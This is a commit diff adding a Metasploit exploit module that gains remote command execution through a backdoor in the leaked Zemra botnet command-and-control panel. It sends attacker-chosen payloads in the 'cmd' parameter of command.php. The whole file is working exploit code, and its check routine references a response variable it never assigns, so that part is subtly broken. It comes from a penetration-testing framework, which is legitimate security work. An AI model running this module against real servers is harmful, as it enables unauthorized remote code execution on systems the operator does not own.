Land rapid7#6022, zemra_panel_rce module

Author: wvu

modules/exploits/multi/http/zemra_panel_rce.rb

@@ -0,0 +1,88 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Zemra Botnet CnC Web Panel Remote Code Execution',
+      'Description'    => %q{
+        This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
+        inside its leaked source code. Zemra is a crimeware bot that can be used to
+        conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Jay Turla <@shipcod3>', #Metasploit Module
+          'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
+          'Darren Martyn <@info_dox>' #Initial Discovery
+        ],
+      'References'     =>
+        [
+          ['URL', 'http://0day.today/exploit/19259'],
+          ['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
+          ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
+        ],
+      'Privileged'     => false,
+      'Payload'        =>
+        {
+          'Space'    => 10000,
+          'DisableNops' => true,
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd'
+            }
+        },
+      'Platform'       => %w{ unix win },
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['zemra panel / Unix', { 'Platform' => 'unix' } ],
+          ['zemra panel / Windows', { 'Platform' => 'win' } ]
+        ],
+      'DisclosureDate' => 'Jun 28 2012',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
+      ],self.class)
+  end
+
+  def check
+    txt = Rex::Text.rand_text_alpha(8)
+    http_send_command(txt)
+    if res && res.body =~ /cmd/
+      return Exploit::CheckCode::Vulnerable
+    end
+    return Exploit::CheckCode::Safe
+  end
+
+  def http_send_command(cmd)
+    uri = normalize_uri(target_uri.path.to_s)
+    res = send_request_cgi({
+      'method'  => 'GET',
+      'uri'             => uri,
+      'vars_get'        =>
+        {
+          'cmd' => cmd
+        }
+    })
+    unless res && res.code == 200
+      fail_with(Failure::Unknown, 'Failed to execute the command.')
+    end
+    res
+  end
+
+  def exploit
+    http_send_command(payload.encoded)
+  end
+end